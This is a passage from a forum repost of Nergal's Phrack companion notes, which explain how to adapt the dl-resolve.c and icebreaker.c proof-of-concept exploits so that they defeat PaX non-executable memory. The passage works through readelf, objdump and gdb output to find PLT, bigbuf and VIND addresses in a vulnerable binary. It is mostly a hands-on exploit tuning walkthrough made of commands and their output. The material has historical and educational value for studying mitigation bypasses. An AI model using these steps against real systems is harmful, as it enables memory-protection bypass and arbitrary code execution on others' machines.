  DEBUG     0x0
  PLTGOT    0x80497a8
  PLTRELSZ   0x48
  PLTREL    0x11
  JMPREL    0x8048354  (!!!)
  REL      0x8048344
  RELSZ     0x10
  RELENT    0x8
  VERNEED    0x8048314
  VERNEEDNUM  0x1
  VERSYM    0x80482f8  (!!!)

      The PLT_SECTION can also be retrieved from "objdump -x" output
[...crap...]
Sections:
Idx Name       Size    VMA     LMA     File off  Algn
  0 .interp     00000013  080480f4  080480f4  000000f4  2**0
...
11 .plt       000000a0  080483cc  080483cc  000003cc  2**2
            CONTENTS, ALLOC, LOAD, READONLY, CODE
      So, we should use 0x080483cc for our purposes. Having adjusted the
defines, you should compile dl-resolve.c again. Then run it under strace. At
the end, there should be something like:
old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000
_exit(123)                    = ?

      As we see, mmap() is called, though it was not present in
dl-resolve.c&#39;s PLT. Of course, I could have added the shellcode execution,
but this would unnecessarily complicate this proof-of-concept code.




IV. icebreaker.c
~~~~~~~~~~~~~~~~

Nine #defines have to be adjusted. Most of them have already been explained.
Two remain: FRAMESINDATA and VIND.

1) FRAMESINDATA
This is the location of a static (or malloced) variable where the fake
frames are copied to. In case of pax.c, we need to find the address of
"bigbuf" array. If the attacked binary was not stripped, it would be easy.
Otherwise, we have to analyse the disassembler output. The "bigbuf" variable
is present in the arguments to "strncat" function in pax.x, line 13:
           strncat(bigbuf, ptr, sizeof(bigbuf)-1);
So we may do:
[nergal@behemoth pax]$ objdump -T pax | grep strncat
0804836c    DF *UND*  0000009e  GLIBC_2.0  strncat
[nergal@behemoth pax]$ objdump -d pax|grep 804836c -B 3  <- _not_ 0804836c
objdump: pax: no symbols
8048362:     ff 25 c8 95 04 08     jmp   *0x80495c8
8048368:     00 00             add   %al,(%eax)
804836a:     00 00             add   %al,(%eax)
804836c:     ff 25 cc 95 04 08     jmp   *0x80495cc
--
80484e5:     68 ff 03 00 00       push  $0x3ff        <- 1023
80484ea:     ff 75 e4           pushl  0xffffffe4(%ebp) <- ptr
80484ed:     68 c0 9a 04 08       push  $0x8049ac0     <- bigbuf
80484f2:     e8 75 fe ff ff       call  0x804836c

So, the address of bigbuf is 0x8049ac0.

2) VIND
As mentioned in the phrack article, we have to determine [lowaddr, hiaddr]
bounds, then search for a null short int in the interval
[VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8].

[nergal@behemoth pax]$ gdb ./icebreaker
(gdb) set args testing
(gdb) r
Starting program: /home/nergal/pax/./icebreaker testing
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x4ffb7d30 in ?? ()    <- icebreaker executed pax
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x5060708 in ?? ()    <- pax has segfaulted
(gdb) shell
[nergal@behemoth pax]$ ps ax | grep pax
1419 pts/0   T    0:00 pax
[nergal@behemoth pax]$ cat /proc/1419/maps
08048000-08049000 r-xp 00000000 03:45 100958    /home/nergal/pax/pax
08049000-0804a000 rw-p 00000000 03:45 100958    /home/nergal/pax/pax
^^^^^^^^^^^^^^^^^
^^^^^^^^^^^^^^^^^ here are our lowaddr, hiaddr
4ffb6000-4ffcc000 r-xp 00000000 03:45 107760    /lib/ld-2.1.92.so
4ffcc000-4ffcd000 rw-p 00015000 03:45 107760    /lib/ld-2.1.92.so
4ffcd000-4ffce000 rw-p 00000000 00:00 0
4ffd4000-500ef000 r-xp 00000000 03:45 107767    /lib/libc-2.1.92.so
500ef000-500f5000 rw-p 0011a000 03:45 107767    /lib/libc-2.1.92.so
500f5000-500f9000 rw-p 00000000 00:00 0
bfff6000-bfff8000 rw-p fffff000 00:00 0
[nergal@behemoth pax]$ exit
exit
(gdb) printf "0x%x\n", 0x80482a8+(0x08049000-0x8048164)/8
0x804847b
(gdb) printf "0x%x\n", 0x80482a8+(0x0804a000-0x8048164)/8
0x804867b
/* so, we search for a null short in [0x804847b, 0x804867b]
(gdb) printf "0x%x\n", 0x804867b-0x804847b
0x200
(gdb) x/256hx 0x804847b
... a lot of beautiful 0000 in there...

Now read the section 6.2 in the phrack article, or just try a few of the
addresses found.

EvilOctal 2006-3-5 22:06

有关更多关于飞客杂志的信息可以在这里获得
[url]http://www.eviloctal.com/forum/read.php?tid=13112&fpage=1&toread=1[/url]

页: [1]
© 1999-2008 EvilOctal Security Team